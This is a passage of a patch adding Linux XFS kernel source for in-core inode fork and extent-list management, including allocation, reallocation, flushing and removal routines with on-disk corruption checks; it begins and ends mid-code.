sizeof(ifp->if_u2.if_inline_data)) + ifp->if_u1.if_data = ifp->if_u2.if_inline_data; + else { + real_size = roundup(size, 4); + ifp->if_u1.if_data = kmem_alloc(real_size, KM_SLEEP | KM_NOFS); + } + ifp->if_bytes = size; + ifp->if_real_bytes = real_size; + if (size) + memcpy(ifp->if_u1.if_data, XFS_DFORK_PTR(dip, whichfork), size); + ifp->if_flags &= ~XFS_IFEXTENTS; + ifp->if_flags |= XFS_IFINLINE; + return 0; +} + +/* + * The file consists of a set of extents all + * of which fit into the on-disk inode. + * If there are few enough extents to fit into + * the if_inline_ext, then copy them there. + * Otherwise allocate a buffer for them and copy + * them into it. Either way, set if_extents + * to point at the extents. + */ +STATIC int +xfs_iformat_extents( + xfs_inode_t *ip, + xfs_dinode_t *dip, + int whichfork) +{ + xfs_bmbt_rec_t *dp; + xfs_ifork_t *ifp; + int nex; + int size; + int i; + + ifp = XFS_IFORK_PTR(ip, whichfork); + nex = XFS_DFORK_NEXTENTS(dip, whichfork); + size = nex * (uint)sizeof(xfs_bmbt_rec_t); + + /* + * If the number of extents is unreasonable, then something + * is wrong and we just bail out rather than crash in + * kmem_alloc() or memcpy() below. + */ + if (unlikely(size < 0 || size > XFS_DFORK_SIZE(dip, ip->i_mount, whichfork))) { + xfs_warn(ip->i_mount, "corrupt inode %Lu ((a)extents = %d).", + (unsigned long long) ip->i_ino, nex); + XFS_CORRUPTION_ERROR("xfs_iformat_extents(1)", XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + ifp->if_real_bytes = 0; + if (nex == 0) + ifp->if_u1.if_extents = NULL; + else if (nex <= XFS_INLINE_EXTS) + ifp->if_u1.if_extents = ifp->if_u2.if_inline_ext; + else + xfs_iext_add(ifp, 0, nex); + + ifp->if_bytes = size; + if (size) { + dp = (xfs_bmbt_rec_t *) XFS_DFORK_PTR(dip, whichfork); + xfs_validate_extents(ifp, nex, XFS_EXTFMT_INODE(ip)); + for (i = 0; i < nex; i++, dp++) { + xfs_bmbt_rec_host_t *ep = xfs_iext_get_ext(ifp, i); + ep->l0 = get_unaligned_be64(&dp->l0); + ep->l1 = get_unaligned_be64(&dp->l1); + } + XFS_BMAP_TRACE_EXLIST(ip, nex, whichfork); + if (whichfork != XFS_DATA_FORK || + XFS_EXTFMT_INODE(ip) == XFS_EXTFMT_NOSTATE) + if (unlikely(xfs_check_nostate_extents( + ifp, 0, nex))) { + XFS_ERROR_REPORT("xfs_iformat_extents(2)", + XFS_ERRLEVEL_LOW, + ip->i_mount); + return XFS_ERROR(EFSCORRUPTED); + } + } + ifp->if_flags |= XFS_IFEXTENTS; + return 0; +} + +/* + * The file has too many extents to fit into + * the inode, so they are in B-tree format. + * Allocate a buffer for the root of the B-tree + * and copy the root into it. The i_extents + * field will remain NULL until all of the + * extents are read in (when they are needed). + */ +STATIC int +xfs_iformat_btree( + xfs_inode_t *ip, + xfs_dinode_t *dip, + int whichfork) +{ + struct xfs_mount *mp = ip->i_mount; + xfs_bmdr_block_t *dfp; + xfs_ifork_t *ifp; + /* REFERENCED */ + int nrecs; + int size; + + ifp = XFS_IFORK_PTR(ip, whichfork); + dfp = (xfs_bmdr_block_t *)XFS_DFORK_PTR(dip, whichfork); + size = XFS_BMAP_BROOT_SPACE(mp, dfp); + nrecs = be16_to_cpu(dfp->bb_numrecs); + + /* + * blow out if -- fork has less extents than can fit in + * fork (fork shouldn't be a btree format), root btree + * block has more records than can fit into the fork, + * or the number of extents is greater than the number of + * blocks. + */ + if (unlikely(XFS_IFORK_NEXTENTS(ip, whichfork) <= + XFS_IFORK_MAXEXT(ip, whichfork) || + XFS_BMDR_SPACE_CALC(nrecs) > + XFS_DFORK_SIZE(dip, mp, whichfork) || + XFS_IFORK_NEXTENTS(ip, whichfork) > ip->i_d.di_nblocks)) { + xfs_warn(mp, "corrupt inode %Lu (btree).", + (unsigned long long) ip->i_ino); + XFS_CORRUPTION_ERROR("xfs_iformat_btree", XFS_ERRLEVEL_LOW, + mp, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + ifp->if_broot_bytes = size; + ifp->if_broot = kmem_alloc(size, KM_SLEEP | KM_NOFS); + ASSERT(ifp->if_broot != NULL); + /* + * Copy and convert from the on-disk structure + * to the in-memory structure. + */ + xfs_bmdr_to_bmbt(ip, dfp, XFS_DFORK_SIZE(dip, ip->i_mount, whichfork), + ifp->if_broot, size); + ifp->if_flags &= ~XFS_IFEXTENTS; + ifp->if_flags |= XFS_IFBROOT; + + return 0; +} + +/* + * Read in extents from a btree-format inode. + * Allocate and fill in if_extents. Real work is done in xfs_bmap.c. + */ +int +xfs_iread_extents( + xfs_trans_t *tp, + xfs_inode_t *ip, + int whichfork) +{ + int error; + xfs_ifork_t *ifp; + xfs_extnum_t nextents; + + if (unlikely(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE)) { + XFS_ERROR_REPORT("xfs_iread_extents", XFS_ERRLEVEL_LOW, + ip->i_mount); + return XFS_ERROR(EFSCORRUPTED); + } + nextents = XFS_IFORK_NEXTENTS(ip, whichfork); + ifp = XFS_IFORK_PTR(ip, whichfork); + + /* + * We know that the size is valid (it's checked in iformat_btree) + */ + ifp->if_bytes = ifp->if_real_bytes = 0; + ifp->if_flags |= XFS_IFEXTENTS; + xfs_iext_add(ifp, 0, nextents); + error = xfs_bmap_read_extents(tp, ip, whichfork); + if (error) { + xfs_iext_destroy(ifp); + ifp->if_flags &= ~XFS_IFEXTENTS; + return error; + } + xfs_validate_extents(ifp, nextents, XFS_EXTFMT_INODE(ip)); + return 0; +} +/* + * Reallocate the space for if_broot based on the number of records + * being added or deleted as indicated in rec_diff. Move the records + * and pointers in if_broot to fit the new size. When shrinking this + * will eliminate holes between the records and pointers created by + * the caller. When growing this will create holes to be filled in + * by the caller. + * + * The caller must not request to add more records than would fit in + * the on-disk inode root. If the if_broot is currently NULL, then + * if we adding records one will be allocated. The caller must also + * not request that the number of records go below zero, although + * it can go to zero. + * + * ip -- the inode whose if_broot area is changing + * ext_diff -- the change in the number of records, positive or negative, + * requested for the if_broot array. + */ +void +xfs_iroot_realloc( + xfs_inode_t *ip, + int rec_diff, + int whichfork) +{ + struct xfs_mount *mp = ip->i_mount; + int cur_max; + xfs_ifork_t *ifp; + struct xfs_btree_block *new_broot; + int new_max; + size_t new_size; + char *np; + char *op; + + /* + * Handle the degenerate case quietly. + */ + if (rec_diff == 0) { + return; + } + + ifp = XFS_IFORK_PTR(ip, whichfork); + if (rec_diff > 0) { + /* + * If there wasn't any memory allocated before, just + * allocate it now and get out. + */ + if (ifp->if_broot_bytes == 0) { + new_size = XFS_BMAP_BROOT_SPACE_CALC(mp, rec_diff); + ifp->if_broot = kmem_alloc(new_size, KM_SLEEP | KM_NOFS); + ifp->if_broot_bytes = (int)new_size; + return; + } + + /* + * If there is already an existing if_broot, then we need + * to realloc() it and shift the pointers to their new + * location. The records don't change location because + * they are kept butted up against the btree block header. + */ + cur_max = xfs_bmbt_maxrecs(mp, ifp->if_broot_bytes, 0); + new_max = cur_max + rec_diff; + new_size = XFS_BMAP_BROOT_SPACE_CALC(mp, new_max); + ifp->if_broot = kmem_realloc(ifp->if_broot, new_size, + XFS_BMAP_BROOT_SPACE_CALC(mp, cur_max), + KM_SLEEP | KM_NOFS); + op = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, ifp->if_broot, 1, + ifp->if_broot_bytes); + np = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, ifp->if_broot, 1, + (int)new_size); + ifp->if_broot_bytes = (int)new_size; + ASSERT(XFS_BMAP_BMDR_SPACE(ifp->if_broot) <= + XFS_IFORK_SIZE(ip, whichfork)); + memmove(np, op, cur_max * (uint)sizeof(xfs_dfsbno_t)); + return; + } + + /* + * rec_diff is less than 0. In this case, we are shrinking the + * if_broot buffer. It must already exist. If we go to zero + * records, just get rid of the root and clear the status bit. + */ + ASSERT((ifp->if_broot != NULL) && (ifp->if_broot_bytes > 0)); + cur_max = xfs_bmbt_maxrecs(mp, ifp->if_broot_bytes, 0); + new_max = cur_max + rec_diff; + ASSERT(new_max >= 0); + if (new_max > 0) + new_size = XFS_BMAP_BROOT_SPACE_CALC(mp, new_max); + else + new_size = 0; + if (new_size > 0) { + new_broot = kmem_alloc(new_size, KM_SLEEP | KM_NOFS); + /* + * First copy over the btree block header. + */ + memcpy(new_broot, ifp->if_broot, + XFS_BMBT_BLOCK_LEN(ip->i_mount)); + } else { + new_broot = NULL; + ifp->if_flags &= ~XFS_IFBROOT; + } + + /* + * Only copy the records and pointers if there are any. + */ + if (new_max > 0) { + /* + * First copy the records. + */ + op = (char *)XFS_BMBT_REC_ADDR(mp, ifp->if_broot, 1); + np = (char *)XFS_BMBT_REC_ADDR(mp, new_broot, 1); + memcpy(np, op, new_max * (uint)sizeof(xfs_bmbt_rec_t)); + + /* + * Then copy the pointers. + */ + op = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, ifp->if_broot, 1, + ifp->if_broot_bytes); + np = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, new_broot, 1, + (int)new_size); + memcpy(np, op, new_max * (uint)sizeof(xfs_dfsbno_t)); + } + kmem_free(ifp->if_broot); + ifp->if_broot = new_broot; + ifp->if_broot_bytes = (int)new_size; + if (ifp->if_broot) + ASSERT(XFS_BMAP_BMDR_SPACE(ifp->if_broot) <= + XFS_IFORK_SIZE(ip, whichfork)); + return; +} + + +/* + * This is called when the amount of space needed for if_data + * is increased or decreased. The change in size is indicated by + * the number of bytes that need to be added or deleted in the + * byte_diff parameter. + * + * If the amount of space needed has decreased below the size of the + * inline buffer, then switch to using the inline buffer. Otherwise, + * use kmem_realloc() or kmem_alloc() to adjust the size of the buffer + * to what is needed. + * + * ip -- the inode whose if_data area is changing + * byte_diff -- the change in the number of bytes, positive or negative, + * requested for the if_data array. + */ +void +xfs_idata_realloc( + xfs_inode_t *ip, + int byte_diff, + int whichfork) +{ + xfs_ifork_t *ifp; + int new_size; + int real_size; + + if (byte_diff == 0) { + return; + } + + ifp = XFS_IFORK_PTR(ip, whichfork); + new_size = (int)ifp->if_bytes + byte_diff; + ASSERT(new_size >= 0); + + if (new_size == 0) { + if (ifp->if_u1.if_data != ifp->if_u2.if_inline_data) { + kmem_free(ifp->if_u1.if_data); + } + ifp->if_u1.if_data = NULL; + real_size = 0; + } else if (new_size <= sizeof(ifp->if_u2.if_inline_data)) { + /* + * If the valid extents/data can fit in if_inline_ext/data, + * copy them from the malloc'd vector and free it. + */ + if (ifp->if_u1.if_data == NULL) { + ifp->if_u1.if_data = ifp->if_u2.if_inline_data; + } else if (ifp->if_u1.if_data != ifp->if_u2.if_inline_data) { + ASSERT(ifp->if_real_bytes != 0); + memcpy(ifp->if_u2.if_inline_data, ifp->if_u1.if_data, + new_size); + kmem_free(ifp->if_u1.if_data); + ifp->if_u1.if_data = ifp->if_u2.if_inline_data; + } + real_size = 0; + } else { + /* + * Stuck with malloc/realloc. + * For inline data, the underlying buffer must be + * a multiple of 4 bytes in size so that it can be + * logged and stay on word boundaries. We enforce + * that here. + */ + real_size = roundup(new_size, 4); + if (ifp->if_u1.if_data == NULL) { + ASSERT(ifp->if_real_bytes == 0); + ifp->if_u1.if_data = kmem_alloc(real_size, + KM_SLEEP | KM_NOFS); + } else if (ifp->if_u1.if_data != ifp->if_u2.if_inline_data) { + /* + * Only do the realloc if the underlying size + * is really changing. + */ + if (ifp->if_real_bytes != real_size) { + ifp->if_u1.if_data = + kmem_realloc(ifp->if_u1.if_data, + real_size, + ifp->if_real_bytes, + KM_SLEEP | KM_NOFS); + } + } else { + ASSERT(ifp->if_real_bytes == 0); + ifp->if_u1.if_data = kmem_alloc(real_size, + KM_SLEEP | KM_NOFS); + memcpy(ifp->if_u1.if_data, ifp->if_u2.if_inline_data, + ifp->if_bytes); + } + } + ifp->if_real_bytes = real_size; + ifp->if_bytes = new_size; + ASSERT(ifp->if_bytes <= XFS_IFORK_SIZE(ip, whichfork)); +} + +void +xfs_idestroy_fork( + xfs_inode_t *ip, + int whichfork) +{ + xfs_ifork_t *ifp; + + ifp = XFS_IFORK_PTR(ip, whichfork); + if (ifp->if_broot != NULL) { + kmem_free(ifp->if_broot); + ifp->if_broot = NULL; + } + + /* + * If the format is local, then we can't have an extents + * array so just look for an inline data array. If we're + * not local then we may or may not have an extents list, + * so check and free it up if we do. + */ + if (XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_LOCAL) { + if ((ifp->if_u1.if_data != ifp->if_u2.if_inline_data) && + (ifp->if_u1.if_data != NULL)) { + ASSERT(ifp->if_real_bytes != 0); + kmem_free(ifp->if_u1.if_data); + ifp->if_u1.if_data = NULL; + ifp->if_real_bytes = 0; + } + } else if ((ifp->if_flags & XFS_IFEXTENTS) && + ((ifp->if_flags & XFS_IFEXTIREC) || + ((ifp->if_u1.if_extents != NULL) && + (ifp->if_u1.if_extents != ifp->if_u2.if_inline_ext)))) { + ASSERT(ifp->if_real_bytes != 0); + xfs_iext_destroy(ifp); + } + ASSERT(ifp->if_u1.if_extents == NULL || + ifp->if_u1.if_extents == ifp->if_u2.if_inline_ext); + ASSERT(ifp->if_real_bytes == 0); + if (whichfork == XFS_ATTR_FORK) { + kmem_zone_free(xfs_ifork_zone, ip->i_afp); + ip->i_afp = NULL; + } +} + +/* + * xfs_iextents_copy() + * + * This is called to copy the REAL extents (as opposed to the delayed + * allocation extents) from the inode into the given buffer. It + * returns the number of bytes copied into the buffer. + * + * If there are no delayed allocation extents, then we can just + * memcpy() the extents into the buffer. Otherwise, we need to + * examine each extent in turn and skip those which are delayed. + */ +int +xfs_iextents_copy( + xfs_inode_t *ip, + xfs_bmbt_rec_t *dp, + int whichfork) +{ + int copied; + int i; + xfs_ifork_t *ifp; + int nrecs; + xfs_fsblock_t start_block; + + ifp = XFS_IFORK_PTR(ip, whichfork); + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL|XFS_ILOCK_SHARED)); + ASSERT(ifp->if_bytes > 0); + + nrecs = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + XFS_BMAP_TRACE_EXLIST(ip, nrecs, whichfork); + ASSERT(nrecs > 0); + + /* + * There are some delayed allocation extents in the + * inode, so copy the extents one at a time and skip + * the delayed ones. There must be at least one + * non-delayed extent. + */ + copied = 0; + for (i = 0; i < nrecs; i++) { + xfs_bmbt_rec_host_t *ep = xfs_iext_get_ext(ifp, i); + start_block = xfs_bmbt_get_startblock(ep); + if (isnullstartblock(start_block)) { + /* + * It's a delayed allocation extent, so skip it. + */ + continue; + } + + /* Translate to on disk format */ + put_unaligned_be64(ep->l0, &dp->l0); + put_unaligned_be64(ep->l1, &dp->l1); + dp++; + copied++; + } + ASSERT(copied != 0); + xfs_validate_extents(ifp, copied, XFS_EXTFMT_INODE(ip)); + + return (copied * (uint)sizeof(xfs_bmbt_rec_t)); +} + +/* + * Each of the following cases stores data into the same region + * of the on-disk inode, so only one of them can be valid at + * any given time. While it is possible to have conflicting formats + * and log flags, e.g. having XFS_ILOG_?DATA set when the fork is + * in EXTENTS format, this can only happen when the fork has + * changed formats after being modified but before being flushed. + * In these cases, the format always takes precedence, because the + * format indicates the current state of the fork. + */ +void +xfs_iflush_fork( + xfs_inode_t *ip, + xfs_dinode_t *dip, + xfs_inode_log_item_t *iip, + int whichfork, + xfs_buf_t *bp) +{ + char *cp; + xfs_ifork_t *ifp; + xfs_mount_t *mp; + static const short brootflag[2] = + { XFS_ILOG_DBROOT, XFS_ILOG_ABROOT }; + static const short dataflag[2] = + { XFS_ILOG_DDATA, XFS_ILOG_ADATA }; + static const short extflag[2] = + { XFS_ILOG_DEXT, XFS_ILOG_AEXT }; + + if (!iip) + return; + ifp = XFS_IFORK_PTR(ip, whichfork); + /* + * This can happen if we gave up in iformat in an error path, + * for the attribute fork. + */ + if (!ifp) { + ASSERT(whichfork == XFS_ATTR_FORK); + return; + } + cp = XFS_DFORK_PTR(dip, whichfork); + mp = ip->i_mount; + switch (XFS_IFORK_FORMAT(ip, whichfork)) { + case XFS_DINODE_FMT_LOCAL: + if ((iip->ili_fields & dataflag[whichfork]) && + (ifp->if_bytes > 0)) { + ASSERT(ifp->if_u1.if_data != NULL); + ASSERT(ifp->if_bytes <= XFS_IFORK_SIZE(ip, whichfork)); + memcpy(cp, ifp->if_u1.if_data, ifp->if_bytes); + } + break; + + case XFS_DINODE_FMT_EXTENTS: + ASSERT((ifp->if_flags & XFS_IFEXTENTS) || + !(iip->ili_fields & extflag[whichfork])); + if ((iip->ili_fields & extflag[whichfork]) && + (ifp->if_bytes > 0)) { + ASSERT(xfs_iext_get_ext(ifp, 0)); + ASSERT(XFS_IFORK_NEXTENTS(ip, whichfork) > 0); + (void)xfs_iextents_copy(ip, (xfs_bmbt_rec_t *)cp, + whichfork); + } + break; + + case XFS_DINODE_FMT_BTREE: + if ((iip->ili_fields & brootflag[whichfork]) && + (ifp->if_broot_bytes > 0)) { + ASSERT(ifp->if_broot != NULL); + ASSERT(XFS_BMAP_BMDR_SPACE(ifp->if_broot) <= + XFS_IFORK_SIZE(ip, whichfork)); + xfs_bmbt_to_bmdr(mp, ifp->if_broot, ifp->if_broot_bytes, + (xfs_bmdr_block_t *)cp, + XFS_DFORK_SIZE(dip, mp, whichfork)); + } + break; + + case XFS_DINODE_FMT_DEV: + if (iip->ili_fields & XFS_ILOG_DEV) { + ASSERT(whichfork == XFS_DATA_FORK); + xfs_dinode_put_rdev(dip, ip->i_df.if_u2.if_rdev); + } + break; + + case XFS_DINODE_FMT_UUID: + if (iip->ili_fields & XFS_ILOG_UUID) { + ASSERT(whichfork == XFS_DATA_FORK); + memcpy(XFS_DFORK_DPTR(dip), + &ip->i_df.if_u2.if_uuid, + sizeof(uuid_t)); + } + break; + + default: + ASSERT(0); + break; + } +} + +/* + * Return a pointer to the extent record at file index idx. + */ +xfs_bmbt_rec_host_t * +xfs_iext_get_ext( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t idx) /* index of target extent */ +{ + ASSERT(idx >= 0); + ASSERT(idx < ifp->if_bytes / sizeof(xfs_bmbt_rec_t)); + + if ((ifp->if_flags & XFS_IFEXTIREC) && (idx == 0)) { + return ifp->if_u1.if_ext_irec->er_extbuf; + } else if (ifp->if_flags & XFS_IFEXTIREC) { + xfs_ext_irec_t *erp; /* irec pointer */ + int erp_idx = 0; /* irec index */ + xfs_extnum_t page_idx = idx; /* ext index in target list */ + + erp = xfs_iext_idx_to_irec(ifp, &page_idx, &erp_idx, 0); + return &erp->er_extbuf[page_idx]; + } else if (ifp->if_bytes) { + return &ifp->if_u1.if_extents[idx]; + } else { + return NULL; + } +} + +/* + * Insert new item(s) into the extent records for incore inode + * fork 'ifp'. 'count' new items are inserted at index 'idx'. + */ +void +xfs_iext_insert( + xfs_inode_t *ip, /* incore inode pointer */ + xfs_extnum_t idx, /* starting index of new items */ + xfs_extnum_t count, /* number of inserted items */ + xfs_bmbt_irec_t *new, /* items to insert */ + int state) /* type of extent conversion */ +{ + xfs_ifork_t *ifp = (state & BMAP_ATTRFORK) ? ip->i_afp : &ip->i_df; + xfs_extnum_t i; /* extent record index */ + + trace_xfs_iext_insert(ip, idx, new, state, _RET_IP_); + + ASSERT(ifp->if_flags & XFS_IFEXTENTS); + xfs_iext_add(ifp, idx, count); + for (i = idx; i < idx + count; i++, new++) + xfs_bmbt_set_all(xfs_iext_get_ext(ifp, i), new); +} + +/* + * This is called when the amount of space required for incore file + * extents needs to be increased. The ext_diff parameter stores the + * number of new extents being added and the idx parameter contains + * the extent index where the new extents will be added. If the new + * extents are being appended, then we just need to (re)allocate and + * initialize the space. Otherwise, if the new extents are being + * inserted into the middle of the existing entries, a bit more work + * is required to make room for the new extents to be inserted. The + * caller is responsible for filling in the new extent entries upon + * return. + */ +void +xfs_iext_add( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t idx, /* index to begin adding exts */ + int ext_diff) /* number of extents to add */ +{ + int byte_diff; /* new bytes being added */ + int new_size; /* size of extents after adding */ + xfs_extnum_t nextents; /* number of extents in file */ + + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + ASSERT((idx >= 0) && (idx <= nextents)); + byte_diff = ext_diff * sizeof(xfs_bmbt_rec_t); + new_size = ifp->if_bytes + byte_diff; + /* + * If the new number of extents (nextents + ext_diff) + * fits inside the inode, then continue to use the inline + * extent buffer. + */ + if (nextents + ext_diff <= XFS_INLINE_EXTS) { + if (idx < nextents) { + memmove(&ifp->if_u2.if_inline_ext[idx + ext_diff], + &ifp->if_u2.if_inline_ext[idx], + (nextents - idx) * sizeof(xfs_bmbt_rec_t)); + memset(&ifp->if_u2.if_inline_ext[idx], 0, byte_diff); + } + ifp->if_u1.if_extents = ifp->if_u2.if_inline_ext; + ifp->if_real_bytes = 0; + } + /* + * Otherwise use a linear (direct) extent list. + * If the extents are currently inside the inode, + * xfs_iext_realloc_direct will switch us from + * inline to direct extent allocation mode. + */ + else if (nextents + ext_diff <= XFS_LINEAR_EXTS) { + xfs_iext_realloc_direct(ifp, new_size); + if (idx < nextents) { + memmove(&ifp->if_u1.if_extents[idx + ext_diff], + &ifp->if_u1.if_extents[idx], + (nextents - idx) * sizeof(xfs_bmbt_rec_t)); + memset(&ifp->if_u1.if_extents[idx], 0, byte_diff); + } + } + /* Indirection array */ + else { + xfs_ext_irec_t *erp; + int erp_idx = 0; + int page_idx = idx; + + ASSERT(nextents + ext_diff > XFS_LINEAR_EXTS); + if (ifp->if_flags & XFS_IFEXTIREC) { + erp = xfs_iext_idx_to_irec(ifp, &page_idx, &erp_idx, 1); + } else { + xfs_iext_irec_init(ifp); + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + erp = ifp->if_u1.if_ext_irec; + } + /* Extents fit in target extent page */ + if (erp && erp->er_extcount + ext_diff <= XFS_LINEAR_EXTS) { + if (page_idx < erp->er_extcount) { + memmove(&erp->er_extbuf[page_idx + ext_diff], + &erp->er_extbuf[page_idx], + (erp->er_extcount - page_idx) * + sizeof(xfs_bmbt_rec_t)); + memset(&erp->er_extbuf[page_idx], 0, byte_diff); + } + erp->er_extcount += ext_diff; + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, ext_diff); + } + /* Insert a new extent page */ + else if (erp) { + xfs_iext_add_indirect_multi(ifp, + erp_idx, page_idx, ext_diff); + } + /* + * If extent(s) are being appended to the last page in + * the indirection array and the new extent(s) don't fit + * in the page, then erp is NULL and erp_idx is set to + * the next index needed in the indirection array. + */ + else { + int count = ext_diff; + + while (count) { + erp = xfs_iext_irec_new(ifp, erp_idx); + erp->er_extcount = count; + count -= MIN(count, (int)XFS_LINEAR_EXTS); + if (count) { + erp_idx++; + } + } + } + } + ifp->if_bytes = new_size; +} + +/* + * This is called when incore extents are being added to the indirection + * array and the new extents do not fit in the target extent list. The + * erp_idx parameter contains the irec index for the target extent list + * in the indirection array, and the idx parameter contains the extent + * index within the list. The number of extents being added is stored + * in the count parameter. + * + * |-------| |-------| + * | | | | idx - number of extents before idx + * | idx | | count | + * | | | | count - number of extents being inserted at idx + * |-------| |-------| + * | count | | nex2 | nex2 - number of extents after idx + count + * |-------| |-------| + */ +void +xfs_iext_add_indirect_multi( + xfs_ifork_t *ifp, /* inode fork pointer */ + int erp_idx, /* target extent irec index */ + xfs_extnum_t idx, /* index within target list */ + int count) /* new extents being added */ +{ + int byte_diff; /* new bytes being added */ + xfs_ext_irec_t *erp; /* pointer to irec entry */ + xfs_extnum_t ext_diff; /* number of extents to add */ + xfs_extnum_t ext_cnt; /* new extents still needed */ + xfs_extnum_t nex2; /* extents after idx + count */ + xfs_bmbt_rec_t *nex2_ep = NULL; /* temp list for nex2 extents */ + int nlists; /* number of irec's (lists) */ + + ASSERT(ifp->if_flags & XFS_IFEXTIREC); + erp = &ifp->if_u1.if_ext_irec[erp_idx]; + nex2 = erp->er_extcount - idx; + nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; + + /* + * Save second part of target extent list + * (all extents past */ + if (nex2) { + byte_diff = nex2 * sizeof(xfs_bmbt_rec_t); + nex2_ep = (xfs_bmbt_rec_t *) kmem_alloc(byte_diff, KM_NOFS); + memmove(nex2_ep, &erp->er_extbuf[idx], byte_diff); + erp->er_extcount -= nex2; + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, -nex2); + memset(&erp->er_extbuf[idx], 0, byte_diff); + } + + /* + * Add the new extents to the end of the target + * list, then allocate new irec record(s) and + * extent buffer(s) as needed to store the rest + * of the new extents. + */ + ext_cnt = count; + ext_diff = MIN(ext_cnt, (int)XFS_LINEAR_EXTS - erp->er_extcount); + if (ext_diff) { + erp->er_extcount += ext_diff; + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, ext_diff); + ext_cnt -= ext_diff; + } + while (ext_cnt) { + erp_idx++; + erp = xfs_iext_irec_new(ifp, erp_idx); + ext_diff = MIN(ext_cnt, (int)XFS_LINEAR_EXTS); + erp->er_extcount = ext_diff; + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, ext_diff); + ext_cnt -= ext_diff; + } + + /* Add nex2 extents back to indirection array */ + if (nex2) { + xfs_extnum_t ext_avail; + int i; + + byte_diff = nex2 * sizeof(xfs_bmbt_rec_t); + ext_avail = XFS_LINEAR_EXTS - erp->er_extcount; + i = 0; + /* + * If nex2 extents fit in the current page, append + * nex2_ep after the new extents. + */ + if (nex2 <= ext_avail) { + i = erp->er_extcount; + } + /* + * Otherwise, check if space is available in the + * next page. + */ + else if ((erp_idx < nlists - 1) && + (nex2 <= (ext_avail = XFS_LINEAR_EXTS - + ifp->if_u1.if_ext_irec[erp_idx+1].er_extcount))) { + erp_idx++; + erp++; + /* Create a hole for nex2 extents */ + memmove(&erp->er_extbuf[nex2], erp->er_extbuf, + erp->er_extcount * sizeof(xfs_bmbt_rec_t)); + } + /* + * Final choice, create a new extent page for + * nex2 extents. + */ + else { + erp_idx++; + erp = xfs_iext_irec_new(ifp, erp_idx); + } + memmove(&erp->er_extbuf[i], nex2_ep, byte_diff); + kmem_free(nex2_ep); + erp->er_extcount += nex2; + xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, nex2); + } +} + +/* + * This is called when the amount of space required for incore file + * extents needs to be decreased. The ext_diff parameter stores the + * number of extents to be removed and the idx parameter contains + * the extent index where the extents will be removed from. + * + * If the amount of space needed has decreased below the linear + * limit, XFS_IEXT_BUFSZ, then switch to using the contiguous + * extent array. Otherwise, use kmem_realloc() to adjust the + * size to what is needed. + */ +void +xfs_iext_remove( + xfs_inode_t *ip, /* incore inode pointer */ + xfs_extnum_t idx, /* index to begin removing exts */ + int ext_diff, /* number of extents to remove */ + int state) /* type of extent conversion */ +{ + xfs_ifork_t *ifp = (state & BMAP_ATTRFORK) ? ip->i_afp : &ip->i_df; + xfs_extnum_t nextents; /* number of extents in file */ + int new_size; /* size of extents after removal */ + + trace_xfs_iext_remove(ip, idx, state, _RET_IP_); + + ASSERT(ext_diff > 0); + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + new_size = (nextents - ext_diff) * sizeof(xfs_bmbt_rec_t); + + if (new_size == 0) { + xfs_iext_destroy(ifp); + } else if (ifp->if_flags & XFS_IFEXTIREC) { + xfs_iext_remove_indirect(ifp, idx, ext_diff); + } else if (ifp->if_real_bytes) { + xfs_iext_remove_direct(ifp, idx, ext_diff); + } else { + xfs_iext_remove_inline(ifp, idx, ext_diff); + } + ifp->if_bytes = new_size; +} + +/* + * This removes ext_diff extents from the inline buffer, beginning + * at extent index idx. + */ +void +xfs_iext_remove_inline( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t idx, /* index to begin removing exts */ + int ext_diff) /* number of extents to remove */ +{ + int nextents; /* number of extents in file */ + + ASSERT(!(ifp->if_flags & XFS_IFEXTIREC)); + ASSERT(idx < XFS_INLINE_EXTS); + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + ASSERT(((nextents - ext_diff) > 0) && + (nextents - ext_diff) < XFS_INLINE_EXTS); + + if (idx + ext_diff < nextents) { + memmove(&ifp->if_u2.if_inline_ext[idx], + &ifp->if_u2.if_inline_ext[idx + ext_diff], + (nextents - (idx + ext_diff)) * + sizeof(xfs_bmbt_rec_t)); + memset(&ifp->if_u2.if_inline_ext[nextents - ext_diff], + 0, ext_diff * sizeof(xfs_bmbt_rec_t)); + } else { + memset(&ifp->if_u2.if_inline_ext[idx], 0, + ext_diff * sizeof(xfs_bmbt_rec_t)); + } +} + +/* + * This removes ext_diff extents from a linear (direct) extent list, + * beginning at extent index idx. If the extents are being removed + * from the end of the list (ie. truncate) then we just need to re- + * allocate the list to remove the extra space. Otherwise, if the + * extents are being removed from the middle of the existing extent + * entries, then we first need to move the extent records beginning + * at idx + ext_diff up in the list to overwrite the records being + * removed, then remove the extra space via kmem_realloc. + */ +void +xfs_iext_remove_direct( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t idx, /* index to begin removing exts */ + int ext_diff) /* number of extents to remove */ +{ + xfs_extnum_t nextents; /* number of extents in file */ + int new_size; /* size of extents after removal */ + + ASSERT(!(ifp->if_flags & XFS_IFEXTIREC)); + new_size = ifp->if_bytes - + (ext_diff * sizeof(xfs_bmbt_rec_t)); + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + + if (new_size == 0) { + xfs_iext_destroy(ifp); + return; + } + /* Move extents up in the list (if needed) */ + if (idx + ext_diff < nextents) { + memmove(&ifp->if_u1.if_extents[idx], + &ifp->if_u1.if_extents[idx + ext_diff], 